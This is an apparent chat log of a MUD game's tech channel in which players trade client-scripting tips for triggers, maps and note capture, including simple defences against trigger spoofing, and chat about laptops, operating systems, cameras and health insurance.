T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: And CMUD is closed-source, and in an awful development environment.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: By itself, MUSH doesn't officially support GMCP, which is why the GMCP handler had to be created (as far as I can remember).
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: I tried to work with the guy back in college (even signed an NDA that expired by now), and the code was so weird I just abandoned it.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Someone worked with him, and tried to steal the code, heh.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Heh, nothing there to steal. :P
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Freaking Delphi...
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Anyway, if only MUSH's rooms could be manually placed instead of auto-generated, it would be awesome. They can already be clicked on, so maybe click-and-drag would be reasonably non-difficult...
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't think that'll happen.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Nah.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Too little demand.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Not only that, but the way it's drawn to begin with.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Not that hard to adapt. A couple extra fields in the database, iterate linearly instead of recursively...
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: The hardest part would likely be the click-drag functionality.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: So.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: To get back to my original issues. in cmud, using the QUEST: You may now quest again. line, what do i put in the next box to get it to beep me
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Velian Tech: #beep
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: tried that, it said it didnt match
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Velian Tech: You need to put that in the script box
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: You can do #PLAY <media file>
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Velian Tech: the next line below the pattern is just to test.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Velian Tech: go to the tabs below and click the "script" tab
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: there it goes, i missed the next step button
T3/r7/2013-11-19.txt.gz:{chan ch=tech}SumDeus Tech: Is there a bug with Aardwolf client where you sometimes get no message feedback after typing something?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: Okay. one more thing. I added a package from the library, one that is supposed to add the aardwolf map in another window. it installed, but it didnt show up anywhere.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Go to Window, check for a new window (Map, perhaps)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: It isnt there
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: it says something about a MAP tag needing to be enabled, as well as some MAPEXITS and MAPNAME tags, but it doesnt mention where to find thme
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, tags.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: tags map on, tags mapexits on, tags mapname on
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Yshamael Tech: Ah, there it is
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: If I want to capture the output of note display, is it safe to trigger on the ~~~~~~~ line, or does anything else in aardwolf use a bunch of tildes?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I trigger off it myself, but if someone puts a bunch of tildes in the note itself...
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: For the longest time, I've wanted a config option to put a character at the start of every line of a note. It's the only thing left open for trigger spoofing.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Or tags or something.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I've asked for it. Others have asked for it.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Suggested it multiple times, never put in. :-(
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Velian Tech: can always alias 'note' to echo a command before and after the note.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Personally, I'd love to see {note}blah blah blah note{/note}
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Velian Tech: and trigger off those.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Oooh, good idea...I could send a tell to myself before and after, gag those tells, and match on first and last line of tildes between them.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: That's genius.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: alias nread echo {note};note read;{/note} would work, but not the most effective way.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: At least, not in my opinion.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Velian Tech: it's not ineffective either.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Oh, echo command. That doesn't spam elswhere?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Velian Tech: no
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: No one gets spammed with it.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Velian Tech: sends to you only
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: And it's in-band so it can't desync.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Well, even if there was a <NOTESTART><NOTEEND> tag set, it could still be spoofed in the note since there's no escaping.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: but the echo/foo/echo idea is flawless.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Would be beneficial to use something that no one else is likely to trigger, though. Perhaps: echo {Note reading process started}
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: *blink*
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Oh what the crap, GMCP escapes the forward slash? Eesh.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Well, I guess JSON does.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Eh?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Where do you get that notion from?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: When I used forward slash / , the GMCP JSON echoed back at me had it escaped. I remembered reading that on the JSON website but I didn't handle it yet.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can use a password in the gagged stuff to prevent spoofing. I have a particular sequence of letters and numbers I use when I need to prevent spoofing, and just include it in the triggers you use.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Yeah Vakieh, that's genius and I'll do it.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: I'm writing my own MUD client for personal use (strictly educational: the actual MUSH/Fiendish client is obviously 1000x better), and it's been such a fun learning experience so far.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Diving into the old RFCs makes me feel like I'm back in high school.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: I've also written my own Java preprocessor to give myself interesting language constructs not present in the base language, like multiple return values. :D
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh, my note reading setup works perfectly for my needs. Emails notes flawlessly, for the most part.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: You capture them and email them to yourself?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Yep.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Loopback SMTP?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Been doing so since 2010.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I use Lua SendMail.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Used to use CDO, though.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Man, email tied to UN*X login...the real good ol' days.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: I had an idea for a note editor that would open a text editor with a known local file name, and then read it back in to send, and avoid the ingame editor entirely.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I avoid the in-game editor.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Why would it need to open a text editor if the file is already there?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I write my notes using CMUD's editor.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: And use a function to automatically format my lines.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: I mean using a client command like '/reply' and it would write the last-read note quoted into a text file, then open it in VIm. Then '/send'.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: So I can type format "This is a super long line that normally would not pass through the in-game editor, but this function is super awesome and breaks it off at 79 characters, or the nearest point before 79 characters that is a full word."
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tormat Tech: i  love that you want to avoid the ingame editor and use vi instead :P
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Hxsesthuli: Interesting. I should do something like that.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Ingame editor is cumbersome for anything but a line at a time.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tormat Tech: i agree
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: If all you want to do is type a note and be done, sure it's nice and quick, but reviewing and formatting and altering...no.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}<pretitle> Scars Tech: i end up using the editor on aardwolf.com
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: The formatting is taken care of with my function. Admittedly, I never thought about your reply method, and now I want to write something that works like that, ha.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tech: Hxsesthuli D
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Oh, the colon is an emote character?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I need more things to add to Melvin, too.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Aizma Tech: :)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: :D Haha
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: :D
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Aizma Tech: Wrong.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Aizma Tech: Use a color code that doesn't do anything.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Use @e or something
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: You can do: @::D
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: It doesn't choke on invalid codes?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Nope.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Interesting.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: [Melvin]: Schenectady, NY: Clear Temp: 29.7 F (-1.3 C) Wind chill: 30 F (-1 C) Humidity: 46%.  Wind: NNW at 2mph.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Damn, that's cold.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Ah, a word I never knew how to spell.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Schenectady?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Also, that's not cold at all, with not even a light breeze. Thin jacket weather.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm from California. I like my weather to be in the 50s-60s.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Aizma Tech: I'm from the east coast and just moved to California. What a pleasant change. :)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Eh, bugger your warm weather. 60F over here and I'm annoyed I have to carry my jacket instead of wear it.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Navi Tech: Any bored java programmers that would wanna write up an implementation of dijkstras? :D
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Pretty sure rosettacode or something would have one of those you could google
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Justme Juictice Tech: has anybody used taskrabbit before?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Thunderous Norton Tech: i think my missus has... is that the one with 6 settings for pulse and vibrate?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Justme Juictice Tech: lol
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: TaskRabbit? I use it a lot, why?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Pretty handy service. We use it for work.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: I know it sends -1 for the exits in a maze room, but does it ever send -1 for the room ID number of the room you're currently in? or can you count on always knowing which room ID you are in, even if you can't see where the exits go?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Book of Etzli Tech: If the room has a room id, you'll see it,  unless you're blind (if I remember correctly)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Hmm, the wiki says it shows -1 "when a room is not mappable such as a clan room". Does that mean only meta rooms like clan rooms, or any actual main-normal-game rooms?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Velian Tech: I believe only clan rooms are non-mappable, but could be wrong.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Hxsesthuli Tech: Awesome.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Navi Tech: Alright, I'm not figuring this out.. So I've got an adjacency matrix for routers, and I need to figure out which router would be the next in path to a specified router n.. If that makes sense..
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Loreli Tech: Is there any like gmcp or the likes that stores my last kill?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: the command lastkill....?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Loreli Tech: Interesting, I didn't know about that cmd, tho not quite what I'm looking for. I create a script for my tintin that logs my campaign check output and then autodeletes the mob from the log based on death message. I didn't consider that the death message changes based on the weapon I use. So I can either add an action for each death msg (which stores the name of the mob that just died), or I thought if the game captured if I may be able to pull it from there.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Flak Tech: anyone know anything about BDR readers?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Flak Tech: i'm trying to figure out why i always get a checksum error
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Pleiades Tech: does anyone hear using a macbook air experience eyestrain?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}PeppySnail Anaristos Tech: I hear they are a strain on the pocketbook...
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://justgetflux.com/
T3/r7/2013-11-19.txt.gz:{chan ch=tech}I Sense Nonsense Tech: You bought a mac?  Hey I've got some great water infused with the essence of diamonds I'd like to sell ya.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: what no unicorn tears ?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}I Sense Nonsense Tech: I can get that too
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Loreli Tech: heh, there is actually a line of diamond infused water coming out.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Yeah... marketed to the same people that buy macs :P
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Loreli Tech: Allow me to disagree, since I have a mac. :)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}PeppySnail Anaristos Tech: the only problem I have for f.flux is that it is free. There has to be a scam somewhere.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Loreli Tech: Pleiades I have a 2010 mpb, and I did experience eyestrain when I first started playing. I had to adjust the colors in my client. If you're meaning a general eyestrain, I'm not much help. I didn't care for flux, though I know a lot of people do.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Pleiades Tech: I dont seem to experience it with my other laptop
T3/r7/2013-11-19.txt.gz:{chan ch=tech}PeppySnail Anaristos Tech: you could also have your eyes checked, just in case.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Pleiades Tech: how about I check your eyes, vato
T3/r7/2013-11-19.txt.gz:{chan ch=tech}PeppySnail Anaristos Tech: easy, esse
T3/r7/2013-11-19.txt.gz:{chan ch=tech}PeppySnail Anaristos Tech: I am serious. Eyestrain should be checked.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Don't get me wrong macs are g...gr...gre I can't say it.  I'd just rather have an i7, 2 gtx 680s, 32GB of RAM, and two 256GB SSDs for $1000 less :D
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Pleiades Tech: I wanted something light and small to travel with
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Pleiades Tech: and a tablet didn't work for what I want
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There is nothing wrong with macs for those people who are either unwilling or incapable of tweaking.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Pleiades Tech: so that's when the macbook came into play
T3/r7/2013-11-19.txt.gz:{chan ch=tech}SoloSnail Anaristos Tech: and have money to burn and don't want to donate to charity :)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But the OS suffers from what to me is the worst sin of interface design: my (apple's) way is the best way, and therefore the only way I'm gonna give you
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Vak - have you MET Win8 yet? *laugh*
T3/r7/2013-11-19.txt.gz:{chan ch=tech}SoloSnail Anaristos Tech: I lost respect for Apple when they went to a the intel chipset. The motorola  cpus were almost good enough to be mainframe.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I have... I ran. But you always skip a windows release
T3/r7/2013-11-19.txt.gz:{chan ch=tech}SoloSnail Anaristos Tech: as far as their  instruction set went, that is.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Redryn Tech: macs have compatibility issues
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Pleiades Tech: I am still running xp on one of my laptops :)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}SoloSnail Anaristos Tech: now we know how old the laptop is :)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: xp is still a great os
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: 8 hasn't been that bad, now that i've "adjusted" - but there's no way to "change" to a different view.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Pleiades Tech: you don't ;)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Pleiades Tech: it's a laptop that's less than 2 years old
T3/r7/2013-11-19.txt.gz:{chan ch=tech}SoloSnail Anaristos Tech: I don't want to run a laptop like a phone.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Tech: Rikitiki Takihisis nods at SoloSnail Anaristos.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Now that Ballmer is on his way out, W9 should be perfectly fine
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: I agree, which is why I found a way around having to.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Pleiades Tech: just has an xp image on it
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Elxi Tech: I was under the impression with XP you couldn't keep stuff like IE, Java, Flash up to date.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}SoloSnail Anaristos Tech: I got around it, too. Dumped my w7 from the laptop before I installed w8. Then I just put it back on a second partition :)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: It's easier to just disable the "apps" and install the actual programs...
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: But whatever works for you! :)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Aizma Tech: Why stick to Windows at all?
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Pleiades Tech: not sure if you can keep it up to date
T3/r7/2013-11-19.txt.gz:{chan ch=tech}SoloSnail Anaristos Tech: that would have been too logical,  Taki :)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Because I have the unique ability to blow up hardware with Linux.
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Aizma Tech: That sounds like fun
T3/r7/2013-11-19.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-11-19.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: (I say that completely seriously - I literally made a HDD explode running RedHat)
T3/r7/2013-11-19.txt.gz:{chan ch=tech}SoloSnail Anaristos Tech: you can keep it up todate, as long as windows releases upgrades. Only when ms stop supporting the system that you are stuck.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: And that's what they're doing with XP in April.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Anyone wanna buy my copy of XP? *wry grin*
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: it's not my problem anyways..I can't modify it
T3/r7/2013-11-20.txt.gz:{chan ch=tech}SoloSnail Anaristos Tech: now, if you had w98, well...
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto nods at SoloSnail Anaristos and says, "I concur." Why didn't you?!
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: I think I've got that too
T3/r7/2013-11-20.txt.gz:{chan ch=tech}SoloSnail Anaristos Tech: w98?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: 95, 98, 2000, 2k server, xp...
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: I'd have to look to double check I didn't scrap the disks last year when I moved.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}SoloSnail Anaristos Tech: wow, that must really be an ancient machine :)
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: also had all the program releases for them LOL
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: ana - at one time, I had over 15 machines running in my house.  No longer, but I still have the disks.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: also had multiple copies of linux
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: <--- nerd.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: on that note - night folks!
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Divlia Tech: which cexit do I need to be able to run to astral using xrt?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Aizma Tech: The Leica M9 isn't any cheaper in Europe, by any chance, is it?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: probably not
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Aizma Tech: Anyone happen to have one they don't want? :D
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: that would  be rare ;)
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Aizma Tech: That's about the only way I'd be getting one right now
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: you could get a fuji xpro1 
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Aizma Tech: I want my Leica :(
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: a dutch store has a used one for 3600 euros right now
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Aizma Tech: That's a bit more than 1 000 USD cheaper than new. That may be doable!
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: http://www.kamera-express.nl/product/12191095/leica-m9-steel-grey-occ-/
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Ranrr Tech: There is a used one for 3250 pounds on amazon uk
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: I've ordered stuff from them before, and had no problem
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: but again, you may want to look at fuji
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Aizma Tech: Dank :)
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: are you specifically looking for a rangefinder?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: or do you just want a leica?:)
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Aizma Tech: Rangefinder. But I'm pretty set on the Leica.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: read this:
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: http://zackarias.com/for-photographers/gear-gadgets/fuji-x100s-review-a-camera-walks-into-a-bar/
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Pleiades Tech: and do you have lenses, or do you still need those?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Aizma Tech: I have a few
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Aizma Tech: Rather, my dad does :p
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Bobolai Tech: im trying to get triggers on aardmush
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Bobolai Tech: i found the triggers window, clicked Add, and... i dont know what to do
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Sweetchickx Tech: How would I get Basts statmon to not report certain things such us pups and quests? 
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tasty Tipro Tech: How do I find the file name that my mapper is backing up to?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tasty Tipro Tech: in MUSH
T3/r7/2013-11-20.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: they're in the mapper_backups folder, or something like that
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tasty Tipro Tech: I dl'ed mush several times and now I don't know which I'm working out of is the problem
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tasty Tipro Tech: so just "db backups" "db file" I don't think will work
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tormat Tech: check the date stamp
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tasty Tipro Tech: that worked, thank you
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Havvoc Tech: anyone living in south africa with a linux machine and a good connection to the internet?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: Is that possible?!
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tormat Tech: define good :P
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not on a phone, i guess
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tech: sweetchickx: type "statmn set" to see the different things to report on...any that you don't want automatically sent to a channel, do "statmn set <the thing being reported> none"
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tech: so "statmn set levelchan none" to not have levels automatically reported
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Juictice Tech: how can I sign up for obamacare?  the website isn't working
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Definitely Defines Tech: then you cant
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Sonshi Tech: move to a state with a state exchange
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Juictice Tech: how will the govt know if i don't buy their overpriced insurance?
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Definitely Defines Tech: or move to vermont with single payer ^_^
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Definitely Defines Tech: so overpriced six people I know now have insurance for the first time ever...
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tigernuts Tech: if you're not registered, you're assumed not to have qualifying insurance
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tigernuts Tech: and will be fined
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Juictice Tech: overpriced for healthy and young and not poor, underpriced for old/sick/poor
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Sonshi Tech: some people think all insurance is overpriced... until you need it.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tech: Definitely Defines nods at Sonshi.
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tigernuts Tech: the healthy subsidise the unhealthy, that's kinda the point of insurance
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Juictice Tech: where can i join a mutual - young healthy people only no old fogies dragging us down
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tigernuts Tech: however you're about to have a captive market, which is rarely competive, or if it is competitive it will tend to penalise risk, which negates the point
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Sonshi Tech: also, if you're young, healthy, and not planning to ever be old, you probably have bigger problems...
T3/r7/2013-11-20.txt.gz:{chan ch=tech}Tigernuts Tech: and it's not really appropriate for this channel, try debate
